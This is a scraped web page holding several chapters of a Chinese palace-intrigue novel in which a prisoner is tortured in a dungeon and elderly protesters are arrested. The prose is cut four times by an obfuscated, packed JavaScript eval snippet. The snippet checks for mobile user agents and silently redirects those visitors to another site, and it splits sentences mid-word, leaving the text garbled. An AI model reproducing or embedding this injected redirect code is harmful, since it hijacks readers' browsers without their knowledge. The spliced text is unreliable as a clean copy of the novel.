;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13138482|134959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考着对策呢,就听旁边的望尘跟见着了救星似的嚎了一嗓子。 “大少爷!您怎么起得这么早!” “哥!”柏清河立马一转头,分外热情地凑到了柏青舟身边,“你要出去啊?” “嗯,”柏青舟扫了眼前院这阵仗,心里大概猜了个七七八八,有些好笑地拍了下柏清河的肩膀,“抱歉,事出紧急,有位至交好友催得紧,有什么事儿等下次再说。” 言下之意是:不好意思,我现在没空救你,你自己好自为之吧。 柏清河:“……” 这天杀的淡薄情谊。 柏平昀这下倒是不急着问是谁了,态度一整个天翻地覆,很轻易地放过了柏青舟,任由望洋将人推出了府。 柏青舟出了府,远远还能听着府内的鸡飞狗跳。 “这不公平!你怎么就盯着我管!” “呸!臭小子,你哥跟你能一样吗?你要能有他一半省心都算是我祖坟烧高香了……” “贵府还是一如既往的热闹啊。” 柏府外,一位身着浅绿色外袍的男子笑吟吟地立在马车旁,开口说道。 柏青舟面上有些无奈:“让太子殿下见笑了。” “唉,青舟此言差矣,方才在府内不还称呼我为‘至交好友’么,这称呼我甚是喜欢,怎得一出来就变了?”唐知文面上笑意不减,抬手一指马车,“沿街商铺尚未开始营生,咱们不如就去马车上聊?” “既如此,您还在柏府内塞入耳目,就不甚厚道了吧?”柏青舟示意望洋推动轮椅,“地点您定,我随意。” “哪能呢,这不过是我在外面偷听到的,”唐知文眉眼一弯,毫不计较对方的态度,“若说这皇城内还有谁是我完全能信得过的,可非你柏青舟莫属了。” “……你贯会说些漂亮话。” 柏青舟叹了口气,两人此时皆已坐于马车内,望洋和唐知文的侍卫分守在车外两侧,确保无人打扰。 “你这个点来找我,总不能是为了叙旧,”柏青舟率先略过了那些个无用的寒暄,直奔主题道,“说吧,又有什么事儿是需要我帮忙的?” “倒也不是需要你现在就做些什么,不过是得寻个准信儿,提前知会你一声,”唐知文这马车内倒是意外的简朴,没那些花里胡哨的点心茶水,看来确实是准备聊完就撤,“我听说那个被关在地牢里的温言,之前给你做过一段时间的贴身侍卫?” “是有这么回事。”柏青舟点头道。 “我始终怀疑,他与那位温先生有所关联……”唐知文沉思片刻,低声道,“世事动荡,也许这便是个在所难求的机会。” 柏青舟顿时哑然:“你……” “没人会甘心只当一个太子,”唐知文扬头一笑,“可惜,这机遇发现得有些晚……我已经无法控制‘温先生’这个局中变数了,既然如此,只好再往局中丢入另一位变数用于制衡……” 所以他才来找了柏青舟。 因为,他想要丢入局中、用于制衡的那枚棋子——是柏清河。 47.处置 流言传播迅猛,也许是曾经不公的冤假错案为此次民愤做了铺垫和加持,白纸黑字的句句控诉使得全皇城义愤填膺的学子们宛如被泼入了一盆热油的清水,不约而同地在巡检司门口炸了个噼啪作响。 “谭旭所犯,实乃通敌叛国之罪,当今圣上真是越发昏聩,竟为了结案,允许巡检司做出此等行径!” “还未查清就逼迫这青年人顶下所有罪责,此乃不忠不义……” “说得是啊!虽说为了私仇杀人实为过失,但若不是有了天大的冤屈,谁能轻易就举刀相向,再者,以谭旭的为人,其间恩怨纷扰几何,犹未可知……” “与失手杀一人相比,通敌叛国实为视千万人性命于不顾,如何能同等处置?纵有千万缘由,也不该让人直接顶了所有责罚……” “巡检司身为国之监察,却屡次罔顾王法,今日能同罪论处,明日便能视我们百姓性命为草芥,届时人人自危,我们又该如何自处啊……” …… 李符乐远远坐在一个不起眼的墙头上观望了会儿,这才几个纵身跃入巡检司院内,见韩旬还在档案室里处理卷宗,便大剌剌地走了进去。 “头儿,外面现在完全乱成一锅粥了。” “嗯,我听到了。”韩旬不紧不慢地将手中的卷宗原封不动地放了回去,“对方挑起这些争端,明显是有备而来,眼下不宜轻举妄动。” “可我们分明就没对温言用过刑罚,外面那些人不过是因为那薄薄的一张纸就对此全然相信,完全就是在……”李符乐双手抱胸,有些气鼓鼓地搜肠刮肚着,好不容易找出了个合适的,脱口而出道,“在信口雌黄!” 韩旬有些好笑地揉了把李符乐的脑袋,示意对方不必动怒,慢悠悠地开口解释道:“民众百姓的信任,是一种看不见摸不着、同时还特别容易倒塌的东西。这种东西一旦倒了一次,再想堆出曾经的高塔可就难了……” “唔,我没记错的话,最早跟着你的那拨人,其中背着你对犯人使用过严刑逼供手段的不在少数吧……这种事情一旦流传出去,哪怕只有一例,也会是百姓眼中的‘屈打成招’。” “可我事后发现后,也及时处理过他们那帮狗仗人势的东西了啊,”李符乐依旧愤愤,掰着手指数道,“当时为了小惩大戒,我们巡检司甚至一口气除名了……四个人,这难道还不能证明我们清正廉明吗?” “只要是‘事后发现’,就没有‘及时处理’的说法,”韩旬摇了摇头,“的确,我们当时的小惩大戒算是挽回了一些口碑,可对方犯事时顶着的是巡检司的头衔,百姓也难保不会认为这种事情有一就有二,我们只不过是处理了明面上探出了头、不得不拔除的害虫,而其深处的盘根错节,足以在人们脑中形成一幅充满想象力的、‘细思极恐’的画卷。” 李符乐:“……” 这不就是典型的一杆子打死一船人吗! 其实早在当初那些事发生的时候,韩旬就有预料到,可能在未来的某一天这些事会被拿出来翻旧账……只是他千算万算也料不到,这回的幕后主使竟然在这个时候直接将其利用起来,狠狠打了他们一招反噬,让他们现在哪怕是被唾沫星子喷死,也只能忍着,站在原地挨打。 “头儿,那我们现在应该怎么做?” 李符乐向来不擅长处理这种事,有些头疼地问道。 “这时候跳出去给任何说法,都只会成为百姓的靶子,先按兵不动吧,”韩旬低头沉思了片刻,心中百转千回,到底还是没敢轻举妄动,“让门口守门的人再忍忍,我们俩去地牢看看,等会儿朝廷那边应该就要下令了。” 李符乐有些疑惑地问道:“现在去地牢干嘛?” “外面动静这么大,其中必然有人指使,况且对方的意图很明显,就是想要将我们架在高台上,让我们无法随意定罪,以此竭力保住温言的命,”韩旬思忖着,被这么摆了一道,他心下难免有些火大,“不过既然他们已经架好了高台,我们不做点什么也不太合适……” “什么意思?”李符乐歪了歪头。 韩旬冲对方笑了一下,轻声道:“意思是,我们现在该带上工具……去刑讯逼供了。” 确如韩旬所料,如此轰动的消息自然是逃不过宫里的耳目。 “他们这是要干什么!啊?!”老皇帝坐在宫中,刚听完老太监传来的消息,简直要气得吹胡子瞪眼,拍着桌子叫道,“这是要翻了天了!” “哎哟,皇上您龙体要紧,可千万别气着自己,”老太监将拂尘挽在臂弯,连忙上前给老皇帝倒了杯润喉的茶水,双手端到对方面前,避重就轻地说道,“左不过是些愚昧的贩夫走卒,成不了什么气候……” “贩夫走卒?”老皇帝扬手掀翻了茶水,恨声道,“朕可是听说,民间有不少学堂的学子们都在自发为此事奔走,就连翰林院那些老东西们新收的几个得意门生,也几乎都参与其中了啊?” 老太监额上瞬间划过了一抹冷汗,忙着便要跪下。 老皇帝一掌拍在龙椅扶手上,胸口剧烈起伏着:“真是……朕老了,都开始不把朕放在眼里了啊……” “皇上,皇上这是什么话,”老太监跪在地上,不住地磕着头,“您可是万人之上的天子,这世间的万事万物都应当依照您的意志而前行,谁敢忤逆,都是重罪!” “皇上,皇上啊……您身上承载的可是国之大运,千万要保重好龙体,动气伤身呐……” 老太监每说一句都要磕好几个响头,额头早已通红一片。 他将这股战战兢兢的谄媚样做到了极致,极大地取悦了老皇帝那岌岌可危却又自视甚高的自尊心。 “好……说得好啊,朕可是天子!谁不知道巡检司是朕一手设立起来的,这群混账东西,到底是谁给他们的胆子,竟敢如此与朕公然叫板!”老皇帝气极反笑,松开了紧握的龙椅扶手,衣袍一摆,下了令,“给我抓!不是胆子大吗,不是一个个说得振振有词吗,好,那我就干脆抓几个‘不怕死的’押入地牢,杀鸡儆猴!我看到时候谁还敢!” “皇上英明!” 老太监如今是管不了三七二十一了,领了命才敢弓着身子从地上爬起来,头也没抬就匆匆往殿外走去。 “公公,这……真得抓吗?” 殿外,一个低眉顺眼的小太监迈着小碎步走到了老太监近前,恭敬地问道。 “皇上此刻气上心头,得顺着他的意来……抓肯定是得抓,但也不是什么人都能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13175332|134959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓的,”老太监眼珠一转,顿时来了主意,“吩咐下去,让锦衣卫派几个人,带上巡捕一起,去抓几个面生的来……” “最好就抓些面生的老人,一般那种年纪还没混出头的绝对是普通百姓,死了就死了,可千万别失手抓了那些个非富即贵的公子哥或者凑热闹的学士们,到时候万一真出了什么事儿,问题还得我们这些下面人背着……” “是,公公。” 小太监心里还没存那么多弯弯绕绕,被这么一点拨,才露出脸恍然大悟的表情,忙不迭地应了。 “巡检司切莫本末倒置,应当先将谭旭通敌叛国一案调查清楚啊……” “此案疑点重重,我看这巡检司也不过就是当今圣上的走狗,谭旭其人生前便品行不端,此事也难保不是畏罪自杀,巡检司为何却如此执着于要给剩下的活人安上个‘杀人凶手’的罪名,还这么急于论处,莫不是为了能够交差,胡编乱造的吧……” “嘘!快别说了小伙子,你没看着吗?巡捕来了!” “那又如何,我乃翰林院庶吉士,所谓学士,就是要敢于直面尘世不公之事,敢于为生灵鸣不平之事,敢于评判世间不义之事,我行得端坐得正,无愧于心,纵是面对刀山火海,也要直抒胸臆!怎么,他巡检司做错了事,难道还要来堵天下的悠悠众口吗?” 大部分聚集在巡检司门口堵门的,除了这些守正不挠、眼底容不下一粒沙子的学士们,也不过就是些愤愤不平的贩夫走卒,这些人平日里开个铺子都得小心翼翼地看巡捕的脸色,长此以往养出的“奴性”并不是这么寥寥几句振奋人心的热鸡汤就能给灌走的,锦衣卫腰侧的刀还未出鞘,就已经将这些没骨气的吓跑了一半。 人群推搡之际,一位逆流而上的老先生不出意外地被数次绊了个踉跄,还是那名一开始喊得最大声的学士正好抬手扶了他一把,才没让人狼狈地扑倒在地。 “老先生你……” 那位翰林院庶吉士正想开口说些什么,却见那老先生很坚定地冲他摇了摇头。 “多一个人就多一分被听到声音的可能,我不能走,”老先生用力攀附住对方的衣袖,口中喃喃道,“我不能走啊……” “那边那个老不死的,嘀嘀咕咕说什么呢?” 人群四下溃逃,这些个巡捕眼尖,本就只是想随手抓几个老东西回去交差,这下正好,给他们见着了个往枪口上撞的,其中一人顿时来了精神,一把拽过老先生的发髻,不顾对方的挣扎,像拎小鸡似的将人拎到了身前。 “你干什么?!” 旁边的学士们瞬间惊呼起来。 “别叫,吵死了。”巡捕们瞬间刀锋出鞘,用刀背凌空点了点这群学子们的胸膛,“不想死的就滚远点。” 其中一些胆子小的学士们瞬间噤了声。 “这才像话。” 巡捕们望着这群学生,顿时轻蔑地笑了起来。 他们有锦衣卫在身后撑腰,气焰嚣张得不行,以扯着老先生发髻的人为首,就这么拽着几个随手抓来的老东西们,一把推开了巡检司的大门,走了进去。 任由仅剩的几个义愤填膺的学士们在门外徒劳地捶胸顿足。 ……却始终不敢踏入半步。 48.兜底 “我之前就想问你了,”锦桢叼着烟枪靠在窗台边,望向板正地坐在屋内的锦哲,“你这两天很忙,还躲着我,应该是有事在瞒着我吧。” 锦哲面色不变,手下缓慢却细致地折好了一个信封,这才说道:“果然什么都瞒不过你。” “朝夕相处了二十年,你不会还真觉得有什么行为能逃得过我的法眼吧?”锦桢意味不明地笑了一声,一甩手中的烟枪,将其收回囊中,同时从袖袋中变戏法似的拿出了那张如今被大街小巷传阅过无数回的纸张,“你做的?” “阁主的吩咐。”锦哲扫了一眼,如实答了。 “阁主让你这样做,目的之一,大概就是为了不让温言好过吧……”锦桢说着,没像往常那般直接凑到桌前,难得动手拉开了书桌对面的椅子坐下,“这下好了,但凡愿意稍微多想一下的人都会以为温言手中真的拿捏着不可告人的秘密,这才导致有人不惜花费这种代价都要在背后保下他,不让他死。” 若真是按照这番推论,温言此刻一定正在地牢里面受尽折磨——因为他根本就不可能知道对方如此严刑逼供他,想要知道的真正的秘密到底是什么。 他只不过是一枚被推出去的棋子。 ……多么的深仇大恨,才会想出这种招数。 平心而论,锦桢其实并不觉得阁主是个有着如此变态癖好的人。 他们平日里摆出来的恭敬,也不过是因为自己的命正被对方捏在手中,为了活下去,得好好低头、按照吩咐办事罢了——这已经算得上是当今世道下非常“正常”的主仆关系了。 至少在这十年间,锦桢本人无论是多么的不着四六、放浪形骸,只要他按照对方的要求办好了事儿,不出差池,阁主就从来没有为难过他。 温言自不必说,作为一个常伴阁主左右的、沉默寡言的利刃,更是靠谱到从未出过任何差池……对此,阁主自然从来都只有好言相对的份儿,甚至,无论组织里碰着什么好事,哪怕是拐着弯儿,都向来落不下温言的那份。 这番做派一度让锦桢怀疑,阁主是不是连这“阁主”的位置都随时做好了准备要分给温言半个,再不济,温言的地位也一定比他们都要高个半截儿。 而被如此“如胶似漆”的关系捆绑在一起的两个人,锦桢实在是有些难以想象,他们到底是如何……仿佛只是在一夜之间,就恩断义绝到这般地步的。 除非是踏破了底线…… 阁主的底线…… 锦桢放在桌面上的手瞬间紧握成拳。 锦哲在这种时候倒是敏锐了几分,轻轻拍了拍锦桢的手:“锦桢,无论你想问些什么,都先冷静一下……” “阁主知道你和温言关系甚笃,这件事本该由你负责,他却没让你去做,已经表明是对你有所怀疑了。你向来聪明,不应该在这种情况下还闯入我的房间来问这些事情。” 锦哲嘴上说着,手指同时飞快地在对方掌心划拉了几下,眨了眨眼睛。 隔墙有耳。 锦桢一甩衣袖,掀起了几张白纸,正好遮挡住了锦哲手上的动作,嘴上紧跟着不依不饶道:“你什么意思,那难道是要我眼睁睁地看着温言去死吗?” “没办法,人各有命。” 锦哲眼角余光瞄向窗外,话音刚落,一道黑影飞快地闪了过去。 “……少放屁。” 锦桢翻了个白眼,反驳得倒是掷地有声。 随后他眼珠一转,又重新捞出了烟枪,身体前倾,趴伏在桌上狠狠抽了一口,这才好像卸下了股劲儿,调笑着问道:“怎么样,我演得好不好?” “好,不过怎么不提前跟我说,”锦哲有些哭笑不得,若不是他俩太过熟悉对方,他差点都要被骗过去了,“而且你本就受到了怀疑,现在这么做,就不怕阁主之后……” “提前跟你说了也没用,你演戏太烂了,”锦桢软若无骨般赖在位置上,伸手牵住锦哲的手指晃了晃,“就是因为受到怀疑,我才得这么做……倘若我现在不是这个立场,阁主才会真的心生疑虑。” “只是这次过后,我们也许就真的得站队了……” “什么意思?”锦哲有些不解地问道,“你若是真的担心温言,倒是可以放宽心,阁主肯定是不会让他死的。” 锦桢却没回答他这个问题,而是自顾自地说道:“温言选择效忠的是恩,我可不是……” “我选择投诚的是义,选择相帮的是友,从一开始便截然不同。” - 滴答——滴答—— 鲜血从被吊起的双臂上蜿蜒而下,逐渐汇聚成一股股连续的线,随着温言的颤抖,血滴一下又一下地砸落在了地面。 “我说了……我不知道。” 温言有气无力地低垂着脑袋,眼皮耸拉,冷汗冲淡了面上的血色,显得他像个一碰就碎的白瓷娃娃。 “不好意思,上次我确实被你成功哄骗了一道,轻易放过了你,但这次不会了。”韩旬面沉似水,似乎直到这时才显现出了他作为巡检使的真正面目,“温言,我很少有跟囚犯讲道理的耐心,是你自己浪费掉了。” “巡检使大人……明鉴,”温言努力半睁着双眼,他鼻腔充血,只能小口小口地喘着气,“说实话,这世上还真是没什么秘密值得我如此拼着半条命去守……” “是么?”韩旬冷声道,手中带血的刑具被他随手丢在了地上,发出当啷一响,“那你不如解释一下,你背后的人究竟是谁?又为什么要如此大费周章地保你的命?” “我不知道,我真的什么都不知道……”温言说着,像是想到了什么有趣的事情,低低地笑出了声,“保我的命……你真的觉得他这样做是为了保我的命吗?” “他应该算到了你们现在会严刑逼供我吧……” “头儿,”李符乐始终双臂抱胸,一声不吭地靠在墙角,直到这时才出言打断,“他情况有些不对。” 韩旬却仿佛没有听到他说的话,仍旧死死盯着面前这位被贴墙半吊在空中的囚犯。 “好痛啊……” 血滴滑落过眼睑,温言瞥了不远处的李符乐一眼,对方却不动声色地避开了和他的对视。 好痛……要是能直接死了就好了…… 温言生平头一回冒出了这种想法,若不是时机不对,他自己估计都只会认为这是在胡言乱语。 ……死了就不会再痛了。 - “从今天开始?” “对,从今天开始,往后你便不用再去巡检司了。” 柏平昀坐在院内,边说着话,边给自己倒了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201034|134959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个杯底的茶水,一饮而尽……随后有些喝不惯似的背过身去吐了下舌头。 柏清河大剌剌地落座在了对面,扬声问道:“为什么?” “臭小子,先前让你去跟着韩旬学点东西的时候,你不是挺不情不愿的么,现在不要你起早贪黑地去陪着赶工了,怎么还在这给我甩脸子看?” 柏平昀觉得有些好笑,同时又不免腹诽,怎么原来没发现自己这二儿子的情绪这么难以捉摸…… “如今这巡检司不太平,正处于风口浪尖上,之前让你参与其中也不过是想让你在韩旬那儿博个好感,”柏平昀将茶杯往桌上一搁,好脾气地解释道,“眼下目的已经达到,你就应该暂避锋芒,不需要再继续跟着韩旬他们趟浑水了——有什么问题吗?” “那谭旭的事就不查了?”柏清河皱着眉问道,“我这几日跟着韩旬也算是翻了不少卷宗,其中确有疑点,如今谭旭虽已身死,却仍旧人人喊打,倘若他并没有通敌……” “谭旭到底有没有通敌叛国,已经没那么重要了。”柏平昀一抬手,打断了柏清河的追问,“地牢里的事我也算是听说了些,关于那个名叫温言的人,我不好妄下定论,但事实证明,活人永远能比死人翻出更大的浪。” “如今圣上式微,而我作为大帅,位高权重,被无数双眼睛盯着,最应该做的就是自保,并且在此基础上最大限度的保证府里所有人的安全。” “柏清河,眼下多事之秋,你该做的事也一样。” ……是这个道理。 柏清河明白这老头说的是对的,无可辩驳,只能沉默了下来。 “老柏,说什么呢?”柏夫人远远走来,手上端着盘水果,落座前就被柏平昀给接了过去,“你啊,孩子们都大了,你又是难得回家一趟……不是跟你说过了嘛,要多谈谈心,少说教点。” 柏平昀本想卖个好,结果又被说了一通,只能小声反驳道:“哪有说教……我这是在教他道理。” “没事啊,儿子,别听你爹吓唬你的,”柏夫人充耳不闻,冲着柏清河挤眉弄眼道,“放心,你爹兜不了的底,你娘也能给你兜着,不就是个巡检司么,你要是真想去,咱们就去。” 柏清河摸了摸鼻子,偷偷瞥了眼他爹的神情。 柏平昀此刻也不吭声了,像个没事人似的从桌上捞了把葡萄,津津有味地吃了起来。 柏清河看得嘴角不由得抽了抽,扶额道:“娘,你就别开玩笑了……” “谁说我在开玩笑,你娘早年间名震四方的时候你还没出生呢,现在不过是从良了好不好,”柏夫人挑了挑眉,对于自己被儿子小看了这件事略有些不满,“放心吧,大不了白道不行走黑/道嘛,去个巡检司而已,很容易就能摆平的。” 柏清河:“……” “不过你得如实告诉我,你想去巡检司到底是想干什么,”柏夫人双手撑在桌面上,笑眯眯地说道,“我可不信你只是去翻卷宗的,你要真有这毅力,小时候早就让你弃武从文了。” 柏清河被这么盯着,难得生出股被洞察的不适感,立马摇头拒绝道:“……不必了,暂时还费不着您二位大驾。” ……说真的,与此刻如实相告会换来的一顿毒打相比,他果然还是选择继续趁夜摸黑溜进巡检司比较好吧。 49.故人 柏平昀行军打仗数十载,见过的人数不胜数,多少也算是练就了察言观色的本事,眼瞅着自己这儿子神色不对,脑中思绪瞬间就发散开了。 “臭小子,你该不会是真有什么事儿瞒着我们吧?!” “怎么可能,我哪有事儿能瞒过您二老的法眼啊,”柏清河干笑一声,“哎,以后不用去巡检司也挺好的,不用日日早起,总算是能回屋睡个回笼了……您二老慢聊,我困了,先回屋休息去了。” 柏清河站起身,隐晦地冲他娘眨了眨眼。 柏夫人顺利接收到了信号,似笑非笑地目送柏清河离开了前院。 柏平昀显然也意识到了对方是在逃避问题:“你说,你说说,这……” “好了老柏,都说了孩子大了,你就由着他去吧,”柏夫人拍了拍柏平昀抬起的手,“等天要下雨的时候,他知道能往家里跑就行。” “怕就怕在这里,”柏平昀发愁似的叹了口气,“乌汗不是个省油的灯,再加上先前谭旭让他过得太消停了,最近怕是不会太平。” 柏夫人问道:“那你岂不是马上又得去辛城?” “应当是快了,”柏平昀啃着手里的水果,比划了两下,“到时候可不光我得去,柏清河也得跟着。” 按如今这情势,柏清河若不能独自在凶险万分的血海尸山中拼命滚一圈回来,怕是没法顺利拿到他应得的军功与爵位。 早早进屋的柏清河自然对这些盘算毫不知情,他换了身衣服倒在床上,竟然还真准备就此睡个“回笼觉”。 ……谁知道那老头会不会跟个疯子似的明日寅时跑府外蹲他的点,再加上前些日子巡检司本就闹得沸沸扬扬,这几日怕是不能依照往常的时间点去地牢了。 - 温言眉头微蹙,眼睫毛颤动了几下,才悠悠转醒,摸了把身下扎手的茅草堆,熟练又坦然地倒头躺了回去。 守在牢门外的看守反而先一步站不住了,先是四下张望了番,确认没人注意到自己,这才小心翼翼地凑到了门边,冲里面小声喊道:“温军师,温军师你醒了吗……” 隔壁牢房的叫骂声震天响,用词粗俗又下流,轻易便挡过了这微小的动静;这看守却是个有十成耐心的,半分没受影响,自顾自地念经似的小声呼唤着,一遍又一遍,活像是在叫魂。 温言恍惚间听见有人在喊他,可对方喊的称呼实在是有些陌生,次数多了,他才总算是确认了这不是幻觉,转头看向门边。 这一转头,还真给他看见了个熟人。 有那么一瞬间,温言几乎要以为自己这是在牢里关疯了,不然怎么可能看见周泉那张畏畏缩缩的脸在朝着自己靠近。 温言声音有些嘶哑地开了口:“周……泉?” “诶!”周泉的眼睛顿时一亮,小幅度地冲他挥了挥手,“温军师你感觉怎么样,头晕不晕,有没有哪里不舒服,我,我这藏了点药膏,你要是需要的话……” 温言刚醒过来,隔壁牢房那动静本就吵得他头疼,实在是有些受不了周泉这一出“雪上加霜”——连珠炮一般的说话方式,虚弱地抬手打断了对方:“不用了,也别叫什么温军师,听着别扭。” “哦,哦好,”周泉从善如流地问道,“那我该怎么称呼……您?” “……对阶下囚犯不上用敬称,”温言被这个“您”叫得更是浑身刺挠,“你叫我温言就好。” 很显然,温言给的这个答案周泉并不满意。 他立马皱着眉头反驳道:“那不行,我很仰慕温前辈的。” “……” 温言沉默了半晌,大概是发现了在这件事上跟对方讲不通道理,又觉得这事儿实在是有些好笑,于是逗乐子似的开口问道:“劳驾,我到底是做什么了,能让你这么仰慕我?” “这糟老头子嘴还挺严,叫啊!叫得更大点声!哈哈哈哈哈……” 隔壁牢房的动静几乎就没个消停的时候,周泉听到鞭子抽地的声音更是被吓得浑身一震,引得温言不由得皱起眉头。 他记得在自己昏过去之前,这个地牢始终都只有他这一间有人。 周泉看出来了温言的询问之意,蹲下身来靠近牢门,小声解释道:“这是先前,三日前……就是温前辈你头一回晕过去的时候被送进来的,据说是皇帝下了令,说这些人目无王法,要杀鸡儆猴……” “但不知道为什么抓的全都是老人,这些老人哪里经得住真正的酷刑折磨啊,个个哭爹喊娘的,可是都没用,已经抬出去好几个了……都死了,死得都特别惨,我都不敢看,现在就剩这一个了……” 地牢外发生的那些事,温言算是从韩旬口中略有耳闻,如今在脑中拼拼凑凑一番,倒是也能大致猜出个前因后果来。 这些老人大概就是些被煽动的无权无势之辈,无名无姓地活了一辈子,到头来就这么被巡检司里头这些不做人的东西当成了最好拿捏的软柿子,只怕是自己都不知道怎么就落得了这么个境地——左右也不可能真问出点什么,被这么稀里糊涂地被折磨致死了。 温言想到此处,心跳没来由地漏了半拍,胸口漫上阵阵酥麻的痛意。 像是有什么不详的预感要被呼之欲出了似的。 正所谓“说者无意,听者有心”,周泉话出了口,反而并没有想那么多;他的注意力此刻全都集中在温言身上,见对方眉头紧锁,还以为是对方身体又出了什么岔子,连忙问道:“温前辈怎么了?” 温言摇了摇头:“没什么。” 周泉这才半信半疑地松了口气,还没来得及咽回肚子里呢,就听见地牢拐角传来了三道步伐不一的脚步声,立马条件反射地站直了。 就连隔壁牢房都短暂地停了动静。 温言已经习惯了这阵仗,不置可否地坐直了几分,算是配合着摆出了副“恭迎大驾”的姿态。 “韩巡检使,李副巡检使。”周泉恭敬地行礼道。 韩旬摆了摆手,李符乐凑上前去拍了拍周泉的肩膀,示意对方可以离开了。 周泉犹豫再三,最终还是没往温言所处的牢房投去半分眼神,径直离开了地牢。 “温言。” 这是韩旬第无数次喊温言的名字,可语气和前几日严刑逼供时都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李符乐看着温言,只见对方的脊背在抬头的瞬间立马绷直了,下一秒就像个四肢不太协调的野兽般蹿了出去,双手用力攀附在牢门上,将这块铁门摇得嘎吱作响……而他腿上的伤明显支撑不了他这一连串慌不择路的动作,只听嘭地一声,膝盖便跪在了地上。 这一切发生得实在是太快了,李符乐恍惚间甚至怀疑自己看到了铁栏杆上被迅速下滑的皮肤擦出的血。 众人神色各异,就连牢房内想要捂那老东西发声的破嘴的两名看守一时都被吓得后退了两步,只敢拿不定主意似的望向韩旬两人。 地牢内回音阵阵,老人衣衫破烂,浑身上下没一块好肉的模样燎着了温言的视线,激得他双目充血,恨不得能直接冲进牢房,将这些人全都给千刀万剐了。 可论处境,如今的他只配、也只能这么想想。 温言嘴唇颤抖,嗓音沙哑,一时间只觉喉间血气上涌,说出口的每一个字几乎都要带上呜咽的哭腔。 “先生……?” 50.废物 柏清河刚走进地牢,看见的便是这样一幕。 他本来还在外面驻足观望着,见这地牢并没有像往常一般里三层外三层的有人把守,心里打了百八十遍的腹稿毫无用武之地,还没来得及高兴,就听见里面传来一阵吵闹的喧哗声。 这就实在是太反常了。 容不得柏清河再多想分秒,身体已经先一步对此作出了反应——他健步如飞地冲了进去,刚跑过拐角,就看见温言跪在地上,声嘶力竭,像是在喊着些什么。 他怎么出来了? 站在他旁边的那个男的是谁? 他在喊什么? 我好像从来没见过他这么失控的样子…… 一个又一个的问题划过柏清河的脑海,电光火石间,他已经扒拉开了碍事的韩旬和李符乐两人,冲到了温言身边。 温言此刻却没分半点目光到柏清河身上,他整个人几乎紧贴着牢门,徒劳地朝被半吊在牢房墙面上的老先生伸出手,手指费力地一张一合,不知疲倦地祈求着老先生随风垂青的一片衣角。 “先生……” 蓬头垢面的老人总算是眨动着眼皮,朝这边望了过来。 他这几日白发陡增,哪还能从中得见温言早些时日给他送馄饨求教时的半分神采,面皮耸拉,整个人就这么要死不活地垂着,是一副垂垂老矣的半截入土样。 “孩子……” 老人的声音像含着把生了锈的刀片,字字戳心,直扎得人鲜血横流,魂飞魄散。 “孩子,我既不认识你,你又为何哭得如此伤心啊……” 此言一出,哪怕是始终站在后方一声不吭的韩旬,都不由得在心里感慨:这老家伙,都这种时候了,竟然还这般聪明。 温言不可置信地抬起头,泪眼朦胧间对上了老先生的目光,瞬间什么话都说不出了。 他嘴唇颤抖着,努力将其抿成了一条直线,最终也只是低垂着脑袋,宛如一头无计可施的困兽,重重撞了三下铁栏杆。 像是隔空对着老先生磕了三个响头。 年轻人站在一旁,若有所思的目光扫过温言和老人,最终停留在了手足无措的柏清河身上。 柏清河本想伸手拉住温言的衣袖,却又觉得此情此景,自己若是贸然行动实在是太过逾越,于是双手只好就这么不尴不尬地停留在半空,却正好溅上了温言喷涌而出的一大口鲜血。 “温言!” “阿言!” 两道呼喝声不分先后地响起,年轻人眉头紧锁,正要一把按住温言的肩膀,柏清河的动作却先他一步,翻手摸上了温言的腕处脉搏,脸色瞬间变得煞白。 “温言,你还敢说……你没有骗我,”柏清河面色发沉,咬牙切齿地说道,“你身体里这毒……” 温言大概也是被这口血给唤回了心神,难为他这时候还能拽着柏清河的手掌翻个面,掌心相贴,冒出句打哈哈的俏皮话来:“你不也没问过……” 话刚冒出口,温言就适时地重新闭了嘴。 因为柏清河的手在抖。 曾经无论是多凶险的情况,柏清河都从未像现在这样心如擂鼓地害怕过。 他不敢想…… 他不能去想…… “没事,没事的,柏清河,”温言收拢手指,虚虚握住了柏清河的手,摩挲着对方的指尖,“我会活下来,会去找你。” 真是好一出伉俪情深…… 年轻人的眉头皱得更深了,似乎从鼻腔里发出了轻蔑的哼声。 随后,在所有人都没能反应过来的瞬间,他迅速地抬手横劈一手刀,打在了温言的脖颈处,让人晃了两晃后,轻飘飘地倒在了地上。 “你干什么!” 